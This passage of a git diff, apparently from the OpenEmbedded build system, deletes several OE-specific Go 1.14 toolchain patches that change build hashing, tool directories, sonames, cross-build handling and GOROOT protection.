- env = append(env, cfg.EnvVar{Name: "CC", Value: cc})
diff --git a/meta/recipes-devtools/go/go-1.14/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch b/meta/recipes-devtools/go/go-1.14/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch
deleted file mode 100644
index 9e88567ebd..0000000000
--- a/meta/recipes-devtools/go/go-1.14/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch
+++ /dev/null
@@ -1,219 +0,0 @@
-From a13ae484e41139094505d2834437e9262a5315f7 Mon Sep 17 00:00:00 2001
-From: Alex Kube <alexander.j.kube@gmail.com>
-Date: Wed, 23 Oct 2019 21:14:22 +0430
-Subject: [PATCH 2/9] cmd/go: make content-based hash generation less pedantic
-
-Upstream-Status: Inappropriate [OE specific]
-
-Go 1.10's build tool now uses content-based hashes to
-determine when something should be built or re-built.
-This same mechanism is used to maintain a built-artifact
-cache for speeding up builds.
-
-However, the hashes it generates include information that
-doesn't work well with OE, nor with using a shared runtime
-library.
-
-First, it embeds path names to source files, unless
-building within GOROOT. This prevents the building
-of a package in GOPATH for later staging into GOROOT.
-
-This patch adds support for the environment variable
-GOPATH_OMIT_IN_ACTIONID. If present, path name
-embedding is disabled.
-
-Second, if cgo is enabled, the build ID for cgo-related
-packages will include the current value of the environment
-variables for invoking the compiler (CC, CXX, FC) and
-any CGO_xxFLAGS variables. Only if the settings used
-during a compilation exactly match, character for character,
-the values used for compiling runtime/cgo or any other
-cgo-enabled package being imported, will the tool
-decide that the imported package is up-to-date.
-
-This is done to help ensure correctness, but is overly
-simplistic and effectively prevents the reuse of built
-artifacts that use cgo (or shared runtime, which includes
-runtime/cgo).
-
-This patch filters out all compiler flags except those
-beginning with '-m'. The default behavior can be restored
-by setting the CGO_PEDANTIC environment variable.
-
-Adapted to Go 1.13 from patches originally submitted to
-the meta/recipes-devtools/go tree by
-Matt Madison <matt@madison.systems>.
-
-Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
----
- src/cmd/go/internal/envcmd/env.go | 2 +-
- src/cmd/go/internal/work/exec.go | 66 ++++++++++++++++++++++---------
- 2 files changed, 49 insertions(+), 19 deletions(-)
-
---- a/src/cmd/go/internal/envcmd/env.go
-+++ b/src/cmd/go/internal/envcmd/env.go
-@@ -156,7 +156,7 @@ func ExtraEnvVars() []cfg.EnvVar {
- func ExtraEnvVarsCostly() []cfg.EnvVar {
- var b work.Builder
- b.Init()
-- cppflags, cflags, cxxflags, fflags, ldflags, err := b.CFlags(&load.Package{})
-+ cppflags, cflags, cxxflags, fflags, ldflags, err := b.CFlags(&load.Package{}, false)
- if err != nil {
- // Should not happen - b.CFlags was given an empty package.
- fmt.Fprintf(os.Stderr, "go: invalid cflags: %v\n", err)
---- a/src/cmd/go/internal/work/exec.go
-+++ b/src/cmd/go/internal/work/exec.go
-@@ -32,6 +32,8 @@ import (
- "time"
- )
-
-+var omitGopath = os.Getenv("GOPATH_OMIT_IN_ACTIONID") != ""
-+
- // actionList returns the list of actions in the dag rooted at root
- // as visited in a depth-first post-order traversal.
- func actionList(root *Action) []*Action {
-@@ -208,7 +210,7 @@ func (b *Builder) buildActionID(a *Actio
- // Assume b.WorkDir is being trimmed properly.
- // When -trimpath is used with a package built from the module cache,
- // use the module path and version instead of the directory.
-- if !p.Goroot && !cfg.BuildTrimpath && !strings.HasPrefix(p.Dir, b.WorkDir) {
-+ if !p.Goroot && !omitGopath && !cfg.BuildTrimpath && !strings.HasPrefix(p.Dir, b.WorkDir) {
- fmt.Fprintf(h, "dir %s\n", p.Dir)
- } else if cfg.BuildTrimpath && p.Module != nil {
- fmt.Fprintf(h, "module %s@%s\n", p.Module.Path, p.Module.Version)
-@@ -224,13 +226,13 @@ func (b *Builder) buildActionID(a *Actio
- }
- if len(p.CgoFiles)+len(p.SwigFiles) > 0 {
- fmt.Fprintf(h, "cgo %q\n", b.toolID("cgo"))
-- cppflags, cflags, cxxflags, fflags, ldflags, _ := b.CFlags(p)
-- fmt.Fprintf(h, "CC=%q %q %q %q\n", b.ccExe(), cppflags, cflags, ldflags)
-+ cppflags, cflags, cxxflags, fflags, ldflags, _ := b.CFlags(p, true)
-+ fmt.Fprintf(h, "CC=%q %q %q %q\n", b.ccExe(true), cppflags, cflags, ldflags)
- if len(p.CXXFiles)+len(p.SwigFiles) > 0 {
-- fmt.Fprintf(h, "CXX=%q %q\n", b.cxxExe(), cxxflags)
-+ fmt.Fprintf(h, "CXX=%q %q\n", b.cxxExe(true), cxxflags)
- }
- if len(p.FFiles) > 0 {
-- fmt.Fprintf(h, "FC=%q %q\n", b.fcExe(), fflags)
-+ fmt.Fprintf(h, "FC=%q %q\n", b.fcExe(true), fflags)
- }
- // TODO(rsc): Should we include the SWIG version or Fortran/GCC/G++/Objective-C compiler versions?
- }
-@@ -2228,33 +2230,48 @@ var (
- // gccCmd returns a gcc command line prefix
- // defaultCC is defined in zdefaultcc.go, written by cmd/dist.
- func (b *Builder) GccCmd(incdir, workdir string) []string {
-- return b.compilerCmd(b.ccExe(), incdir, workdir)
-+ return b.compilerCmd(b.ccExe(false), incdir, workdir)
- }
-
- // gxxCmd returns a g++ command line prefix
- // defaultCXX is defined in zdefaultcc.go, written by cmd/dist.
- func (b *Builder) GxxCmd(incdir, workdir string) []string {
-- return b.compilerCmd(b.cxxExe(), incdir, workdir)
-+ return b.compilerCmd(b.cxxExe(false), incdir, workdir)
- }
-
- // gfortranCmd returns a gfortran command line prefix.
- func (b *Builder) gfortranCmd(incdir, workdir string) []string {
-- return b.compilerCmd(b.fcExe(), incdir, workdir)
-+ return b.compilerCmd(b.fcExe(false), incdir, workdir)
- }
-
- // ccExe returns the CC compiler setting without all the extra flags we add implicitly.
--func (b *Builder) ccExe() []string {
-- return b.compilerExe(origCC, cfg.DefaultCC(cfg.Goos, cfg.Goarch))
-+func (b *Builder) ccExe(filtered bool) []string {
-+ return b.compilerExe(origCC, cfg.DefaultCC(cfg.Goos, cfg.Goarch), filtered)
- }
-
- // cxxExe returns the CXX compiler setting without all the extra flags we add implicitly.
--func (b *Builder) cxxExe() []string {
-- return b.compilerExe(origCXX, cfg.DefaultCXX(cfg.Goos, cfg.Goarch))
-+func (b *Builder) cxxExe(filtered bool) []string {
-+ return b.compilerExe(origCXX, cfg.DefaultCXX(cfg.Goos, cfg.Goarch), filtered)
- }
-
- // fcExe returns the FC compiler setting without all the extra flags we add implicitly.
--func (b *Builder) fcExe() []string {
-- return b.compilerExe(cfg.Getenv("FC"), "gfortran")
-+func (b *Builder) fcExe(filtered bool) []string {
-+ return b.compilerExe(os.Getenv("FC"), "gfortran", filtered)
-+}
-+
-+var filterFlags = os.Getenv("CGO_PEDANTIC") == ""
-+
-+func filterCompilerFlags(flags []string) []string {
-+ var newflags []string
-+ if !filterFlags {
-+ return flags
-+ }
-+ for _, flag := range flags {
-+ if strings.HasPrefix(flag, "-m") {
-+ newflags = append(newflags, flag)
-+ }
-+ }
-+ return newflags
- }
-
- // compilerExe returns the compiler to use given an
-@@ -2263,11 +2280,16 @@ func (b *Builder) fcExe() []string {
- // of the compiler but can have additional arguments if they
- // were present in the environment value.
- // For example if CC="gcc -DGOPHER" then the result is ["gcc", "-DGOPHER"].
--func (b *Builder) compilerExe(envValue string, def string) []string {
-+func (b *Builder) compilerExe(envValue string, def string, filtered bool) []string {
- compiler := strings.Fields(envValue)
- if len(compiler) == 0 {
- compiler = []string{def}
- }
-+
-+ if filtered {
-+ return append(compiler[0:1], filterCompilerFlags(compiler[1:])...)
-+ }
-+
- return compiler
- }
-
-@@ -2428,7 +2450,7 @@ func envList(key, def string) []string {
- }
-
- // CFlags returns the flags to use when invoking the C, C++ or Fortran compilers, or cgo.
--func (b *Builder) CFlags(p *load.Package) (cppflags, cflags, cxxflags, fflags, ldflags []string, err error) {
-+func (b *Builder) CFlags(p *load.Package, filtered bool) (cppflags, cflags, cxxflags, fflags, ldflags []string, err error) {
- defaults := "-g -O2"
-
- if cppflags, err = buildFlags("CPPFLAGS", "", p.CgoCPPFLAGS, checkCompilerFlags); err != nil {
-@@ -2447,6 +2469,14 @@ func (b *Builder) CFlags(p *load.Package
- return
- }
-
-+ if filtered {
-+ cppflags = filterCompilerFlags(cppflags)
-+ cflags = filterCompilerFlags(cflags)
-+ cxxflags = filterCompilerFlags(cxxflags)
-+ fflags = filterCompilerFlags(fflags)
-+ ldflags = filterCompilerFlags(ldflags)
-+ }
-+
- return
- }
-
-@@ -2461,7 +2491,7 @@ var cgoRe = lazyregexp.New(`[/\\:]`)
-
- func (b *Builder) cgo(a *Action, cgoExe, objdir string, pcCFLAGS, pcLDFLAGS, cgofiles, gccfiles, gxxfiles, mfiles, ffiles []string) (outGo, outObj []string, err error) {
- p := a.Package
-- cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, cgoFFLAGS, cgoLDFLAGS, err := b.CFlags(p)
-+ cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, cgoFFLAGS, cgoLDFLAGS, err := b.CFlags(p, false)
- if err != nil {
- return nil, nil, err
- }
-@@ -2820,7 +2850,7 @@ func (b *Builder) swigIntSize(objdir str
-
- // Run SWIG on one SWIG input file.
- func (b *Builder) swigOne(a *Action, p *load.Package, file, objdir string, pcCFLAGS []string, cxx bool, intgosize string) (outGo, outC string, err error) {
-- cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, _, _, err := b.CFlags(p)
-+ cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, _, _, err := b.CFlags(p, false)
- if err != nil {
- return "", "", err
- }
diff --git a/meta/recipes-devtools/go/go-1.14/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch b/meta/recipes-devtools/go/go-1.14/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch
deleted file mode 100644
index 662c705471..0000000000
--- a/meta/recipes-devtools/go/go-1.14/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From 28ada8896b76d620240bafc22aa395071d601482 Mon Sep 17 00:00:00 2001
-From: Alex Kube <alexander.j.kube@gmail.com>
-Date: Wed, 23 Oct 2019 21:15:37 +0430
-Subject: [PATCH 3/9] cmd/go: Allow GOTOOLDIR to be overridden in the environment
-
-to allow for split host/target build roots
-
-Adapted to Go 1.13 from patches originally submitted to
-the meta/recipes-devtools/go tree by
-Matt Madison <matt@madison.systems>.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
----
- src/cmd/dist/build.go | 4 +++-
- src/cmd/go/internal/cfg/cfg.go | 6 +++++-
- 2 files changed, 8 insertions(+), 2 deletions(-)
-
---- a/src/cmd/dist/build.go
-+++ b/src/cmd/dist/build.go
-@@ -246,7 +246,9 @@ func xinit() {
- workdir = xworkdir()
- xatexit(rmworkdir)
-
-- tooldir = pathf("%s/pkg/tool/%s_%s", goroot, gohostos, gohostarch)
-+ if tooldir = os.Getenv("GOTOOLDIR"); tooldir == "" {
-+ tooldir = pathf("%s/pkg/tool/%s_%s", goroot, gohostos, gohostarch)
-+ }
- }
-
- // compilerEnv returns a map from "goos/goarch" to the
---- a/src/cmd/go/internal/cfg/cfg.go
-+++ b/src/cmd/go/internal/cfg/cfg.go
-@@ -64,7 +64,11 @@ func defaultContext() build.Context {
- // variables. This matches the initialization of ToolDir in
- // go/build, except for using ctxt.GOROOT rather than
- // runtime.GOROOT.
-- build.ToolDir = filepath.Join(ctxt.GOROOT, "pkg/tool/"+runtime.GOOS+"_"+runtime.GOARCH)
-+ if s := os.Getenv("GOTOOLDIR"); s != "" {
-+ build.ToolDir = filepath.Clean(s)
-+ } else {
-+ build.ToolDir = filepath.Join(ctxt.GOROOT, "pkg/tool/"+runtime.GOOS+"_"+runtime.GOARCH)
-+ }
- }
-
- ctxt.GOPATH = envOr("GOPATH", ctxt.GOPATH)
diff --git a/meta/recipes-devtools/go/go-1.14/0004-ld-add-soname-to-shareable-objects.patch b/meta/recipes-devtools/go/go-1.14/0004-ld-add-soname-to-shareable-objects.patch
deleted file mode 100644
index 75c9c75211..0000000000
--- a/meta/recipes-devtools/go/go-1.14/0004-ld-add-soname-to-shareable-objects.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From bf5cf5301ae5914498454c87293d1df2e1d8489f Mon Sep 17 00:00:00 2001
-From: Alex Kube <alexander.j.kube@gmail.com>
-Date: Wed, 23 Oct 2019 21:16:32 +0430
-Subject: [PATCH 4/9] ld: add soname to shareable objects
-
-so that OE's shared library dependency handling
-can find them.
-
-Adapted to Go 1.13 from patches originally submitted to
-the meta/recipes-devtools/go tree by
-Matt Madison <matt@madison.systems>.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
----
- src/cmd/link/internal/ld/lib.go | 3 +++
- 1 file changed, 3 insertions(+)
-
---- a/src/cmd/link/internal/ld/lib.go
-+++ b/src/cmd/link/internal/ld/lib.go
-@@ -1280,6 +1280,7 @@ func (ctxt *Link) hostlink() {
- argv = append(argv, "-Wl,-z,relro")
- }
- argv = append(argv, "-shared")
-+ argv = append(argv, fmt.Sprintf("-Wl,-soname,%s", filepath.Base(*flagOutfile)))
- if ctxt.HeadType != objabi.Hwindows {
- // Pass -z nodelete to mark the shared library as
- // non-closeable: a dlclose will do nothing.
-@@ -1291,6 +1292,7 @@ func (ctxt *Link) hostlink() {
- argv = append(argv, "-Wl,-z,relro")
- }
- argv = append(argv, "-shared")
-+ argv = append(argv, fmt.Sprintf("-Wl,-soname,%s", filepath.Base(*flagOutfile)))
- case BuildModePlugin:
- if ctxt.HeadType == objabi.Hdarwin {
- argv = append(argv, "-dynamiclib")
-@@ -1299,6 +1301,7 @@ func (ctxt *Link) hostlink() {
- argv = append(argv, "-Wl,-z,relro")
- }
- argv = append(argv, "-shared")
-+ argv = append(argv, fmt.Sprintf("-Wl,-soname,%s", filepath.Base(*flagOutfile)))
- }
- }
-
diff --git a/meta/recipes-devtools/go/go-1.14/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch b/meta/recipes-devtools/go/go-1.14/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch
deleted file mode 100644
index 59c12d9546..0000000000
--- a/meta/recipes-devtools/go/go-1.14/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From f05ef3ded52b98537c10efd0b15cd9612471524d Mon Sep 17 00:00:00 2001
-From: Alex Kube <alexander.j.kube@gmail.com>
-Date: Wed, 23 Oct 2019 21:17:16 +0430
-Subject: [PATCH 5/9] make.bash: override CC when building dist and
- go_bootstrap
-
-for handling OE cross-canadian builds.
-
-Adapted to Go 1.13 from patches originally submitted to
-the meta/recipes-devtools/go tree by
-Matt Madison <matt@madison.systems>.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
----
- src/make.bash | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
---- a/src/make.bash
-+++ b/src/make.bash
-@@ -178,7 +178,7 @@ if [ "$GOROOT_BOOTSTRAP" = "$GOROOT" ];
- exit 1
- fi
- rm -f cmd/dist/dist
--GOROOT="$GOROOT_BOOTSTRAP" GOOS="" GOARCH="" GO111MODULE=off "$GOROOT_BOOTSTRAP/bin/go" build -o cmd/dist/dist ./cmd/dist
-+CC="${BUILD_CC:-${CC}}" GOROOT="$GOROOT_BOOTSTRAP" GOOS="" GOARCH="" GO111MODULE=off "$GOROOT_BOOTSTRAP/bin/go" build -o cmd/dist/dist ./cmd/dist
-
- # -e doesn't propagate out of eval, so check success by hand.
- eval $(./cmd/dist/dist env -p || echo FAIL=true)
-@@ -209,7 +209,7 @@ fi
- # Run dist bootstrap to complete make.bash.
- # Bootstrap installs a proper cmd/dist, built with the new toolchain.
- # Throw ours, built with Go 1.4, away after bootstrap.
--./cmd/dist/dist bootstrap $buildall $vflag $GO_DISTFLAGS "$@"
-+CC="${BUILD_CC:-${CC}}" ./cmd/dist/dist bootstrap $buildall $vflag $GO_DISTFLAGS "$@"
- rm -f ./cmd/dist/dist
-
- # DO NOT ADD ANY NEW CODE HERE.
diff --git a/meta/recipes-devtools/go/go-1.14/0006-cmd-dist-separate-host-and-target-builds.patch b/meta/recipes-devtools/go/go-1.14/0006-cmd-dist-separate-host-and-target-builds.patch
deleted file mode 100644
index 7aee0bac43..0000000000
--- a/meta/recipes-devtools/go/go-1.14/0006-cmd-dist-separate-host-and-target-builds.patch
+++ /dev/null
@@ -1,274 +0,0 @@
-From 10735bb84df17ba657f76835f483cd8543a879c1 Mon Sep 17 00:00:00 2001
-From: Alex Kube <alexander.j.kube@gmail.com>
-Date: Wed, 23 Oct 2019 21:18:12 +0430
-Subject: [PATCH 6/9] cmd/dist: separate host and target builds
-
-Upstream-Status: Inappropriate [OE specific]
-
-Change the dist tool to allow for OE-style cross-
-and cross-canadian builds:
-
- - command flags --host-only and --target only are added;
- if one is present, the other changes mentioned below
- take effect, and arguments may also be specified on
- the command line to enumerate the package(s) to be
- built.
-
- - for OE cross builds, go_bootstrap is always built for
- the current build host, and is moved, along with the supporting
- toolchain (asm, compile, etc.) to a separate 'native_native'
- directory under GOROOT/pkg/tool.
-
- - go_bootstrap is not automatically removed after the build,
- so it can be reused later (e.g., building both static and
- shared runtime).
-
-Note that for --host-only builds, it would be nice to specify
-just the "cmd" package to build only the go commands/tools,
-the staleness checks in the dist tool will fail if the "std"
-library has not also been built. So host-only builds have to
-build everything anyway.
-
-Adapted to Go 1.13 from patches originally submitted to
-the meta/recipes-devtools/go tree by
-Matt Madison <matt@madison.systems>.
-
-Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
----
- src/cmd/dist/build.go | 155 ++++++++++++++++++++++++++++++------------
- 1 file changed, 112 insertions(+), 43 deletions(-)
-
---- a/src/cmd/dist/build.go
-+++ b/src/cmd/dist/build.go
-@@ -41,6 +41,7 @@ var (
- goldflags string
- workdir string
- tooldir string
-+ build_tooldir string
- oldgoos string
- oldgoarch string
- exe string
-@@ -53,6 +54,7 @@ var (
-
- rebuildall bool
- defaultclang bool
-+ crossBuild bool
-
- vflag int // verbosity
- )
-@@ -249,6 +251,8 @@ func xinit() {
- if tooldir = os.Getenv("GOTOOLDIR"); tooldir == "" {
- tooldir = pathf("%s/pkg/tool/%s_%s", goroot, gohostos, gohostarch)
- }
-+
-+ build_tooldir = pathf("%s/pkg/tool/native_native", goroot)
- }
-
- // compilerEnv returns a map from "goos/goarch" to the
-@@ -480,8 +484,10 @@ func setup() {
- p := pathf("%s/pkg/%s_%s", goroot, gohostos, gohostarch)
- if rebuildall {
- xremoveall(p)
-+ xremoveall(build_tooldir)
- }
- xmkdirall(p)
-+ xmkdirall(build_tooldir)
-
- if goos != gohostos || goarch != gohostarch {
- p := pathf("%s/pkg/%s_%s", goroot, goos, goarch)
-@@ -1244,12 +1250,29 @@ func cmdbootstrap() {
-
- var noBanner bool
- var debug bool
-+ var hostOnly bool
-+ var targetOnly bool
-+ var toBuild = []string{"std", "cmd"}
-+
- flag.BoolVar(&rebuildall, "a", rebuildall, "rebuild all")
- flag.BoolVar(&debug, "d", debug, "enable debugging of bootstrap process")
- flag.BoolVar(&noBanner, "no-banner", noBanner, "do not print banner")
-+ flag.BoolVar(&hostOnly, "host-only", hostOnly, "build only host binaries, not target")
-+ flag.BoolVar(&targetOnly, "target-only", targetOnly, "build only target binaries, not host")
-
-- xflagparse(0)
-+ xflagparse(-1)
-
-+ if hostOnly && targetOnly {
-+ fatalf("specify only one of --host-only or --target-only\n")
-+ }
-+ crossBuild = hostOnly || targetOnly
-+ if flag.NArg() > 0 {
-+ if crossBuild {
-+ toBuild = flag.Args()
-+ } else {
-+ fatalf("package names not permitted without --host-only or --target-only\n")
-+ }
-+ }
- // Set GOPATH to an internal directory. We shouldn't actually
- // need to store files here, since the toolchain won't
- // depend on modules outside of vendor directories, but if
-@@ -1303,8 +1326,13 @@ func cmdbootstrap() {
- xprintf("\n")
- }
-
-- gogcflags = os.Getenv("GO_GCFLAGS") // we were using $BOOT_GO_GCFLAGS until now
-- goldflags = os.Getenv("GO_LDFLAGS") // we were using $BOOT_GO_LDFLAGS until now
-+ // For split host/target cross/cross-canadian builds, we don't
-+ // want to be setting these flags until after we have compiled
-+ // the toolchain that runs on the build host.
-+ if !crossBuild {
-+ gogcflags = os.Getenv("GO_GCFLAGS") // we were using $BOOT_GO_GCFLAGS until now
-+ goldflags = os.Getenv("GO_LDFLAGS") // we were using $BOOT_GO_LDFLAGS until now
-+ }
- goBootstrap := pathf("%s/go_bootstrap", tooldir)
- cmdGo := pathf("%s/go", gobin)
- if debug {
-@@ -1333,7 +1361,11 @@ func cmdbootstrap() {
- xprintf("\n")
- }
- xprintf("Building Go toolchain2 using go_bootstrap and Go toolchain1.\n")
-- os.Setenv("CC", compilerEnvLookup(defaultcc, goos, goarch))
-+ if crossBuild {
-+ os.Setenv("CC", defaultcc[""])
-+ } else {
-+ os.Setenv("CC", compilerEnvLookup(defaultcc, goos, goarch))
-+ }
- goInstall(goBootstrap, append([]string{"-i"}, toolchain...)...)
- if debug {
- run("", ShowOutput|CheckExit, pathf("%s/compile", tooldir), "-V=full")
-@@ -1370,50 +1402,84 @@ func cmdbootstrap() {
- }
- checkNotStale(goBootstrap, append(toolchain, "runtime/internal/sys")...)
-
-- if goos == oldgoos && goarch == oldgoarch {
-- // Common case - not setting up for cross-compilation.
-- timelog("build", "toolchain")
-- if vflag > 0 {
-- xprintf("\n")
-+ if crossBuild {
-+ gogcflags = os.Getenv("GO_GCFLAGS")
-+ goldflags = os.Getenv("GO_LDFLAGS")
-+ tool_files, _ := filepath.Glob(pathf("%s/*", tooldir))
-+ for _, f := range tool_files {
-+ copyfile(pathf("%s/%s", build_tooldir, filepath.Base(f)), f, writeExec)
-+ xremove(f)
-+ }
-+ os.Setenv("GOTOOLDIR", build_tooldir)
-+ goBootstrap = pathf("%s/go_bootstrap", build_tooldir)
-+ if hostOnly {
-+ timelog("build", "host toolchain")
-+ if vflag > 0 {
-+ xprintf("\n")
-+ }
-+ xprintf("Building %s for host, %s/%s.\n", strings.Join(toBuild, ","), goos, goarch)
-+ goInstall(goBootstrap, toBuild...)
-+ checkNotStale(goBootstrap, toBuild...)
-+ // Skip cmdGo staleness checks here, since we can't necessarily run the cmdGo binary
-+
-+ timelog("build", "target toolchain")
-+ if vflag > 0 {
-+ xprintf("\n")
-+ }
-+ } else if targetOnly {
-+ goos = oldgoos
-+ goarch = oldgoarch
-+ os.Setenv("GOOS", goos)
-+ os.Setenv("GOARCH", goarch)
-+ os.Setenv("CC", compilerEnvLookup(defaultcc, goos, goarch))
-+ xprintf("Building %s for target, %s/%s.\n", strings.Join(toBuild, ","), goos, goarch)
-+ goInstall(goBootstrap, toBuild...)
-+ checkNotStale(goBootstrap, toBuild...)
-+ // Skip cmdGo staleness checks here, since we can't run the target's cmdGo binary
- }
-- xprintf("Building packages and commands for %s/%s.\n", goos, goarch)
- } else {
-- // GOOS/GOARCH does not match GOHOSTOS/GOHOSTARCH.
-- // Finish GOHOSTOS/GOHOSTARCH installation and then
-- // run GOOS/GOARCH installation.
-- timelog("build", "host toolchain")
-- if vflag > 0 {
-- xprintf("\n")
-+
-+ if goos == oldgoos && goarch == oldgoarch {
-+ // Common case - not setting up for cross-compilation.
-+ timelog("build", "toolchain")
-+ if vflag > 0 {
-+ xprintf("\n")
-+ }
-+ xprintf("Building packages and commands for %s/%s.\n", goos, goarch)
-+ } else {
-+ // GOOS/GOARCH does not match GOHOSTOS/GOHOSTARCH.
-+ // Finish GOHOSTOS/GOHOSTARCH installation and then
-+ // run GOOS/GOARCH installation.
-+ timelog("build", "host toolchain")
-+ if vflag > 0 {
-+ xprintf("\n")
-+ }
-+ xprintf("Building packages and commands for host, %s/%s.\n", goos, goarch)
-+ goInstall(goBootstrap, "std", "cmd")
-+ checkNotStale(goBootstrap, "std", "cmd")
-+ checkNotStale(cmdGo, "std", "cmd")
-+
-+ timelog("build", "target toolchain")
-+ if vflag > 0 {
-+ xprintf("\n")
-+ }
-+ goos = oldgoos
-+ goarch = oldgoarch
-+ os.Setenv("GOOS", goos)
-+ os.Setenv("GOARCH", goarch)
-+ os.Setenv("CC", compilerEnvLookup(defaultcc, goos, goarch))
-+ xprintf("Building packages and commands for target, %s/%s.\n", goos, goarch)
- }
-- xprintf("Building packages and commands for host, %s/%s.\n", goos, goarch)
- goInstall(goBootstrap, "std", "cmd")
- checkNotStale(goBootstrap, "std", "cmd")
- checkNotStale(cmdGo, "std", "cmd")
-
-- timelog("build", "target toolchain")
-- if vflag > 0 {
-- xprintf("\n")
-- }
-- goos = oldgoos
-- goarch = oldgoarch
-- os.Setenv("GOOS", goos)
-- os.Setenv("GOARCH", goarch)
-- os.Setenv("CC", compilerEnvLookup(defaultcc, goos, goarch))
-- xprintf("Building packages and commands for target, %s/%s.\n", goos, goarch)
-- }
-- targets := []string{"std", "cmd"}
-- if goos == "js" && goarch == "wasm" {
-- // Skip the cmd tools for js/wasm. They're not usable.
-- targets = targets[:1]
-- }
-- goInstall(goBootstrap, targets...)
-- checkNotStale(goBootstrap, targets...)
-- checkNotStale(cmdGo, targets...)
-- if debug {
-- run("", ShowOutput|CheckExit, pathf("%s/compile", tooldir), "-V=full")
-- run("", ShowOutput|CheckExit, pathf("%s/buildid", tooldir), pathf("%s/pkg/%s_%s/runtime/internal/sys.a", goroot, goos, goarch))
-- checkNotStale(goBootstrap, append(toolchain, "runtime/internal/sys")...)
-- copyfile(pathf("%s/compile4", tooldir), pathf("%s/compile", tooldir), writeExec)
-+ if debug {
-+ run("", ShowOutput|CheckExit, pathf("%s/compile", tooldir), "-V=full")
-+ run("", ShowOutput|CheckExit, pathf("%s/buildid", tooldir), pathf("%s/pkg/%s_%s/runtime/internal/sys.a", goroot, goos, goarch))
-+ checkNotStale(goBootstrap, append(toolchain, "runtime/internal/sys")...)
-+ copyfile(pathf("%s/compile4", tooldir), pathf("%s/compile", tooldir), writeExec)
-+ }
- }
-
- // Check that there are no new files in $GOROOT/bin other than
-@@ -1430,8 +1496,11 @@ func cmdbootstrap() {
- }
- }
-
-- // Remove go_bootstrap now that we're done.
-- xremove(pathf("%s/go_bootstrap", tooldir))
-+ // Except that for split host/target cross-builds, we need to
-+ // keep it.
-+ if !crossBuild {
-+ xremove(pathf("%s/go_bootstrap", tooldir))
-+ }
-
- if goos == "android" {
- // Make sure the exec wrapper will sync a fresh $GOROOT to the device.
diff --git a/meta/recipes-devtools/go/go-1.14/0007-cmd-go-make-GOROOT-precious-by-default.patch b/meta/recipes-devtools/go/go-1.14/0007-cmd-go-make-GOROOT-precious-by-default.patch
deleted file mode 100644
index b93f83de69..0000000000
--- a/meta/recipes-devtools/go/go-1.14/0007-cmd-go-make-GOROOT-precious-by-default.patch
+++ /dev/null
@@ -1,104 +0,0 @@
-From 9ba507e076c744f4d394418e4a849e68cd426a4a Mon Sep 17 00:00:00 2001
-From: Alex Kube <alexander.j.kube@gmail.com>
-Date: Wed, 23 Oct 2019 21:18:56 +0430
-Subject: [PATCH 7/9] cmd/go: make GOROOT precious by default
-
-Upstream-Status: Inappropriate [OE specific]
-
-The go build tool normally rebuilds whatever it detects is
-stale. This can be a problem when GOROOT is intended to
-be read-only and the go runtime has been built as a shared
-library, since we don't want every application to be rebuilding
-the shared runtime - particularly in cross-build/packaging
-setups, since that would lead to 'abi mismatch' runtime errors.
-
-This patch prevents the install and linkshared actions from
-installing to GOROOT unless overridden with the GOROOT_OVERRIDE
-environment variable.
-
-Adapted to Go 1.13 from patches originally submitted to
-the meta/recipes-devtools/go tree by
-Matt Madison <matt@madison.systems>.
-
-Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
----
- src/cmd/go/internal/work/action.go | 3 +++
- src/cmd/go/internal/work/build.go | 6 ++++++
- src/cmd/go/internal/work/exec.go | 25 +++++++++++++++++++++++++
- 3 files changed, 34 insertions(+)
-
---- a/src/cmd/go/internal/work/action.go
-+++ b/src/cmd/go/internal/work/action.go
-@@ -670,6 +670,9 @@ func (b *Builder) addTransitiveLinkDeps(
- if p1 == nil || p1.Shlib == "" || haveShlib[filepath.Base(p1.Shlib)] {
- continue
- }
-+ if goRootPrecious && (p1.Standard || p1.Goroot) {
-+ continue
-+ }
- haveShlib[filepath.Base(p1.Shlib)] = true
- // TODO(rsc): The use of ModeInstall here is suspect, but if we only do ModeBuild,
- // we'll end up building an overall library or executable that depends at runtime
---- a/src/cmd/go/internal/work/build.go
-+++ b/src/cmd/go/internal/work/build.go
-@@ -167,6 +167,8 @@ See also: go install, go get, go clean.
-
- const concurrentGCBackendCompilationEnabledByDefault = true
-
-+var goRootPrecious bool = true
-+
- func init() {
- // break init cycle
- CmdBuild.Run = runBuild
-@@ -179,6 +181,10 @@ func init() {
-
- AddBuildFlags(CmdBuild, DefaultBuildFlags)
- AddBuildFlags(CmdInstall, DefaultBuildFlags)
-+
-+ if x := os.Getenv("GOROOT_OVERRIDE"); x != "" {
-+ goRootPrecious = false
-+ }
- }
-
- // Note that flags consulted by other parts of the code
---- a/src/cmd/go/internal/work/exec.go
-+++ b/src/cmd/go/internal/work/exec.go
-@@ -464,6 +464,23 @@ func (b *Builder) build(a *Action) (err
- return errors.New("binary-only packages are no longer supported")
- }
-
-+ if goRootPrecious && (a.Package.Standard || a.Package.Goroot) {
-+ _, err := os.Stat(a.Package.Target)
-+ if err == nil {
-+ a.built = a.Package.Target
-+ a.Target = a.Package.Target
-+ a.buildID = b.fileHash(a.Package.Target)
-+ a.Package.Stale = false
